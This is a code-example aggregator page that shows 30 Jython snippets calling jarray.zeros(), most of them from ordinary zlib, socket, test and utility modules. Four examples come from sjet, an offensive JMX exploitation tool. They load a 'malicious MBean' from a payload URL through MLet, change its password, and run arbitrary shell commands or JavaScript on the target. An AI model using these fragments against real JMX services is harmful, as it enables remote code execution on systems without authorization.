Python jarray.zeros() Examples
The following are 30
code examples of jarray.zeros().
You can vote up the ones you like or vote down the ones you don't like,
and go to the original project or source file by following the links above each example.
You may also want to check out all available functions/classes of the module
jarray
, or try the search function
.
Example #1
Source File: zlib.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 6 votes |
def _get_inflate_data(inflater, max_length=0): buf = jarray.zeros(1024, 'b') s = StringIO() total = 0 while not inflater.finished(): try: if max_length: l = inflater.inflate(buf, 0, min(1024, max_length - total)) else: l = inflater.inflate(buf) except DataFormatException, e: raise error(str(e)) if l == 0: break total += l s.write(String(buf, 0, 0, l)) if max_length and total == max_length: break
Example #2
Source File: zlib.py From CTFCrackTools with GNU General Public License v3.0 | 6 votes |
def _get_inflate_data(inflater, max_length=0): buf = jarray.zeros(1024, 'b') s = StringIO() total = 0 while not inflater.finished(): try: if max_length: l = inflater.inflate(buf, 0, min(1024, max_length - total)) else: l = inflater.inflate(buf) except DataFormatException, e: raise error(str(e)) if l == 0: break total += l s.write(String(buf, 0, 0, l)) if max_length and total == max_length: break
Example #3
Source File: socket.py From medicare-demo with Apache License 2.0 | 6 votes |
def recv(self, n): try: if not self.sock_impl: raise error(errno.ENOTCONN, 'Socket is not connected') if self.sock_impl.jchannel.isConnectionPending(): self.sock_impl.jchannel.finishConnect() data = jarray.zeros(n, 'b') m = self.sock_impl.read(data) if m == -1:#indicates EOF has been reached, so we just return the empty string return "" elif m <= 0: if self.mode == MODE_NONBLOCKING: raise would_block_error() return "" if m < n: data = data[:m] return data.tostring() except java.lang.Exception, jlx: raise _map_exception(jlx)
Example #4
Source File: socket.py From medicare-demo with Apache License 2.0 | 6 votes |
def _do_receive_net(self, return_source_address, num_bytes, flags): byte_array = jarray.zeros(num_bytes, 'b') packet = java.net.DatagramPacket(byte_array, num_bytes) self.jsocket.receive(packet) bytes_rcvd = packet.getLength() if bytes_rcvd < num_bytes: byte_array = byte_array[:bytes_rcvd] return_data = byte_array.tostring() if return_source_address: host = None if packet.getAddress(): host = packet.getAddress().getHostAddress() port = packet.getPort() return return_data, (host, port) else: return return_data
Example #5
Source File: zlib.py From medicare-demo with Apache License 2.0 | 6 votes |
def _get_inflate_data(inflater, max_length=0): buf = jarray.zeros(1024, 'b') s = StringIO() total = 0 while not inflater.finished(): try: if max_length: l = inflater.inflate(buf, 0, min(1024, max_length - total)) else: l = inflater.inflate(buf) except DataFormatException, e: raise error(str(e)) if l == 0: break total += l s.write(String(buf, 0, 0, l)) if max_length and total == max_length: break
Example #6
Source File: sjet.py From sjet with MIT License | 5 votes |
def executeJS(password, js, bean_server): # Payload execution # Load the Payload Met and invoke a method on it mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) print "[+] Executing script" inv_array1 = jarray.zeros(2, Object) inv_array1[0] = password inv_array1[1] = js inv_array2 = jarray.zeros(2, String) inv_array2[0] = String.canonicalName inv_array2[1] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "runJS", inv_array1, inv_array2) if resource is not None: print resource sys.stdout.write("\n") sys.stdout.flush() ### /JAVASCRIPT MODE ### ### SHELL MODE ###
Example #7
Source File: zlib.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def _get_deflate_data(deflater, mode=Z_NO_FLUSH): buflen = 1024 buf = jarray.zeros(buflen, 'b') s = StringIO() while not deflater.finished(): l = deflater.deflate(buf, 0, buflen, _zlib_to_deflater.get(mode, Deflater.NO_FLUSH)) if l == 0: break s.write(String(buf, 0, 0, l)) s.seek(0) return s.read()
Example #8
Source File: _socket.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def _get_message(self, bufsize, reason): self._datagram_connect() self._verify_channel() msg = self._get_incoming_msg(reason) if self.socket_type == DATAGRAM_SOCKET: if msg is None: return None, None elif msg is _PEER_CLOSED: return "", None else: if msg is None: return None, self.channel.remoteAddress() elif msg is _PEER_CLOSED: return "", self.channel.remoteAddress() if self.socket_type == DATAGRAM_SOCKET: content = msg.content() sender = msg.sender() else: content = msg sender = self.channel.remoteAddress() msg_length = content.readableBytes() buf = jarray.zeros(min(msg_length, bufsize), "b") content.readBytes(buf) if content.readableBytes() == 0: msg.release() # return msg ByteBuf back to Netty's pool self.incoming_head = None return buf.tostring(), sender
Example #9
Source File: test_array_jy.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def test_jarray(self): from java.lang import String self.assertEqual(sum(jarray.array(range(5), 'i')), 10) self.assertEqual(','.join(jarray.array([String("a"), String("b"), String("c")], String)), u'a,b,c') self.assertEqual(sum(jarray.zeros(5, 'i')), 0) self.assertEqual([x for x in jarray.zeros(5, String)], [None, None, None, None, None])
Example #10
Source File: test_array_jy.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def test_java_object_arrays(self): from array import zeros from java.lang import String from java.lang.reflect import Array jStringArr = array(String, [String("a"), String("b"), String("c")]) self.assert_( Arrays.equals(jStringArr.typecode, 'java.lang.String'), "String array typecode of wrong type, expected %s, found %s" % (jStringArr.typecode, str(String))) self.assertEqual(zeros(String, 5), Array.newInstance(String, 5)) import java.lang.String # require for eval to work self.assertEqual(jStringArr, eval(str(jStringArr)))
Example #11
Source File: test_array_jy.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def test_java_compat(self): from array import zeros from java.awt import Color hsb = Color.RGBtoHSB(0,255,255, None) self.assertEqual(hsb, array('f', [0.5,1,1]), "output hsb float array does not correspond to input rgb values") rgb = apply(Color.HSBtoRGB, tuple(hsb)) self.assertEqual(rgb, -0xff0001, "output rgb bytes don't match input hsb floats") hsb1 = zeros('f', 3) Color.RGBtoHSB(0, 255, 255, hsb1) self.assertEqual(hsb, hsb1, "hsb float arrays were not equal")
Example #12
Source File: test_jy_internals.py From CTFCrackTools-V2 with GNU General Public License v3.0 | 5 votes |
def setUp(self): self.v = v = 2**53-1 # full mag bits of a double value self.v8 = v * 8 # fills up 7 bytes self.e = jarray.zeros(1,'i') iarr = java.lang.Object.getClass(self.e) sdv = java.lang.Class.getMethod(long, 'scaledDoubleValue', [iarr]) import org.python.core.PyReflectedFunction as ReflFunc self.sdv = ReflFunc([sdv])
Example #13
Source File: sjet.py From sjet with MIT License | 5 votes |
def installMBeans(args, bean_server): # Installation, load javax.management.loading.MLet to install additional MBeans # If loading fails, the Mlet is already loaded... try: mlet_bean = bean_server.createMBean("javax.management.loading.MLet", None) except: # MLet Bean can't be created because it already exists mlet_bean = bean_server.getObjectInstance(ObjectName("DefaultDomain:type=MLet")) print "[+] Loaded " + str(mlet_bean.getClassName()) # Install payload Mlet via getMbeansFromURL # pass the URL of the web server print "[+] Loading malicious MBean from " + args.payload_url print "[+] Invoking: "+ mlet_bean.getClassName() + ".getMBeansFromURL" inv_array1 = jarray.zeros(1, Object) inv_array1[0] = args.payload_url inv_array2 = jarray.zeros(1, String) inv_array2[0] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "getMBeansFromURL", inv_array1, inv_array2) # Check if the Mlet was loaded successfully for res in resource: if res.__class__.__name__ == "InstanceAlreadyExistsException": print "[+] Object instance already existed, no need to install it a second time" elif res.__class__.__name__ == "ObjectInstance": print "[+] Successfully loaded MBean" + str(res.getObjectName()) # Change the password from "I+n33d+a+glass+0f+watta" to the new value print "[+] Changing default password..." changePassword("I+n33d+a+glass+0f+watta", args.password, bean_server) else: print res
Example #14
Source File: sjet.py From sjet with MIT License | 5 votes |
def changePassword(password, newpass, bean_server): # Payload execution # Load the Payload Met and invoke a method on it mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) inv_array1 = jarray.zeros(2, Object) inv_array1[0] = password inv_array1[1] = newpass inv_array2 = jarray.zeros(2, String) inv_array2[0] = String.canonicalName inv_array2[1] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "changePassword", inv_array1, inv_array2) if str(resource) == "True": print "[+] Successfully changed password" else: print "[-] Unable to change password" sys.stdout.write("\n") sys.stdout.flush() ### /CHANGE PASSWORD MODE ### ### COMMAND MODE ###
Example #15
Source File: sjet.py From sjet with MIT License | 5 votes |
def executeCommand(password, cmd, bean_server): # Payload execution # Load the Payload Met and invoke a method on it mlet_bean = bean_server.getObjectInstance(ObjectName("Siberas:name=payload,id=1")) print "[+] Loaded " + str(mlet_bean.getClassName()) print "[+] Executing command: " + cmd inv_array1 = jarray.zeros(2, Object) inv_array1[0] = password inv_array1[1] = cmd inv_array2 = jarray.zeros(2, String) inv_array2[0] = String.canonicalName inv_array2[1] = String.canonicalName resource = bean_server.invoke(mlet_bean.getObjectName(), "runCMD", inv_array1, inv_array2) print resource sys.stdout.write("\n") sys.stdout.flush() ### /COMMAND MODE ### ### JAVASCRIPT MODE ###
Example #16
Source File: test_jy_internals.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def setUp(self): self.v = v = 2**53-1 # full mag bits of a double value self.v8 = v * 8 # fills up 7 bytes self.e = jarray.zeros(1,'i') iarr = java.lang.Object.getClass(self.e) sdv = java.lang.Class.getMethod(long, 'scaledDoubleValue', [iarr]) import org.python.core.PyReflectedFunction as ReflFunc self.sdv = ReflFunc([sdv])
Example #17
Source File: utils.py From WolframClientForPython with MIT License | 5 votes |
def integer_to_bytes(value, int_size): buffer = jarray.zeros(8, "c") _packing.get(int_size).pack_into(buffer, 0, value) return buffer[:int_size].tostring()
Example #18
Source File: utils.py From WolframClientForPython with MIT License | 5 votes |
def float_to_bytes(value): buffer = jarray.zeros(8, "c") StructDouble.pack_into(buffer, 0, value) return buffer.tostring()
Example #19
Source File: zlib.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def _get_deflate_data(deflater, mode=Z_NO_FLUSH): buflen = 1024 buf = jarray.zeros(buflen, 'b') s = StringIO() while not deflater.finished(): l = deflater.deflate(buf, 0, buflen, _zlib_to_deflater.get(mode, Deflater.NO_FLUSH)) if l == 0: break s.write(String(buf, 0, 0, l)) s.seek(0) return s.read()
Example #20
Source File: _socket.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def _get_message(self, bufsize, reason): self._datagram_connect() self._verify_channel() msg = self._get_incoming_msg(reason) if self.socket_type == DATAGRAM_SOCKET: if msg is None: return None, None elif msg is _PEER_CLOSED: return "", None else: if msg is None: return None, self.channel.remoteAddress() elif msg is _PEER_CLOSED: return "", self.channel.remoteAddress() if self.socket_type == DATAGRAM_SOCKET: content = msg.content() sender = msg.sender() else: content = msg sender = self.channel.remoteAddress() msg_length = content.readableBytes() buf = jarray.zeros(min(msg_length, bufsize), "b") content.readBytes(buf) if content.readableBytes() == 0: msg.release() # return msg ByteBuf back to Netty's pool self.incoming_head = None return buf.tostring(), sender
Example #21
Source File: modjy_input.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def istream_read(self, n): data = jarray.zeros(n, 'b') m = self.istream.read(data) if m == -1: # indicates EOF has been reached, so we just return the empty string return "" elif m <= 0: return "" if m < n: data = data[:m] return data.tostring()
Example #22
Source File: zlib.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def _get_deflate_data(deflater, mode=Z_NO_FLUSH): buflen = 1024 buf = jarray.zeros(buflen, 'b') s = StringIO() while not deflater.finished(): l = deflater.deflate(buf, 0, buflen, _zlib_to_deflater.get(mode, Deflater.NO_FLUSH)) if l == 0: break s.write(String(buf, 0, 0, l)) s.seek(0) return s.read()
Example #23
Source File: _socket.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def _get_message(self, bufsize, reason): self._datagram_connect() self._verify_channel() msg = self._get_incoming_msg(reason) if self.socket_type == DATAGRAM_SOCKET: if msg is None: return None, None elif msg is _PEER_CLOSED: return "", None else: if msg is None: return None, self.channel.remoteAddress() elif msg is _PEER_CLOSED: return "", self.channel.remoteAddress() if self.socket_type == DATAGRAM_SOCKET: content = msg.content() sender = msg.sender() else: content = msg sender = self.channel.remoteAddress() msg_length = content.readableBytes() buf = jarray.zeros(min(msg_length, bufsize), "b") content.readBytes(buf) if content.readableBytes() == 0: msg.release() # return msg ByteBuf back to Netty's pool self.incoming_head = None return buf.tostring(), sender
Example #24
Source File: test_array_jy.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def test_jarray(self): from java.lang import String self.assertEqual(sum(jarray.array(range(5), 'i')), 10) self.assertEqual(','.join(jarray.array([String("a"), String("b"), String("c")], String)), u'a,b,c') self.assertEqual(sum(jarray.zeros(5, 'i')), 0) self.assertEqual([x for x in jarray.zeros(5, String)], [None, None, None, None, None])
Example #25
Source File: test_array_jy.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def test_java_object_arrays(self): from array import zeros from java.lang import String from java.lang.reflect import Array jStringArr = array(String, [String("a"), String("b"), String("c")]) self.assert_( Arrays.equals(jStringArr.typecode, 'java.lang.String'), "String array typecode of wrong type, expected %s, found %s" % (jStringArr.typecode, str(String))) self.assertEqual(zeros(String, 5), Array.newInstance(String, 5)) import java.lang.String # require for eval to work self.assertEqual(jStringArr, eval(str(jStringArr)))
Example #26
Source File: test_array_jy.py From CTFCrackTools with GNU General Public License v3.0 | 5 votes |
def test_java_compat(self): from array import zeros from java.awt import Color hsb = Color.RGBtoHSB(0,255,255, None) self.assertEqual(hsb, array('f', [0.5,1,1]), "output hsb float array does not correspond to input rgb values") rgb = apply(Color.HSBtoRGB, tuple(hsb)) self.assertEqual(rgb, -0xff0001, "output rgb bytes don't match input hsb floats") hsb1 = zeros('f', 3) Color.RGBtoHSB(0, 255, 255, hsb1) self.assertEqual(hsb, hsb1, "hsb float arrays were not equal")
Example #27
Source File: casa-external_otp.py From community-edition-setup with MIT License | 5 votes |
def generateSecretKey(self, keyLength): bytes = jarray.zeros(keyLength, "b") secureRandom = SecureRandom() secureRandom.nextBytes(bytes) return bytes # HOTP methods
Example #28
Source File: compat.py From python-for-android with Apache License 2.0 | 5 votes |
def createByteArrayZeros(howMany): return jarray.zeros(howMany, 'h') #use short instead of bytes, cause bytes are signed
Example #29
Source File: OtpExternalAuthenticator.py From community-edition-setup with MIT License | 5 votes |
def generateSecretKey(self, keyLength): bytes = jarray.zeros(keyLength, "b") secureRandom = SecureRandom() secureRandom.nextBytes(bytes) return bytes # HOTP methods
Example #30
Source File: utils.py From stdm with GNU General Public License v2.0 | 5 votes |
def getRGBData(self): "Return byte array of RGB data as string" try: if self._data is None: self._dataA = None if sys.platform[0:4] == 'java': import jarray from java.awt.image import PixelGrabber width, height = self.getSize() buffer = jarray.zeros(width*height, 'i') pg = PixelGrabber(self._image, 0,0,width,height,buffer,0,width) pg.grabPixels() # there must be a way to do this with a cast not a byte-level loop, # I just haven't found it yet... pixels = [] a = pixels.append for i in range(len(buffer)): rgb = buffer[i] a(chr((rgb>>16)&0xff)) a(chr((rgb>>8)&0xff)) a(chr(rgb&0xff)) self._data = ''.join(pixels) self.mode = 'RGB' else: im = self._image mode = self.mode = im.mode if mode=='RGBA': if Image.VERSION.startswith('1.1.7'): im.load() self._dataA = ImageReader(im.split()[3]) im = im.convert('RGB') self.mode = 'RGB' elif mode not in ('L','RGB','CMYK'): im = im.convert('RGB') self.mode = 'RGB' self._data = im.tostring() return self._data except: annotateException('\nidentity=%s'%self.identity())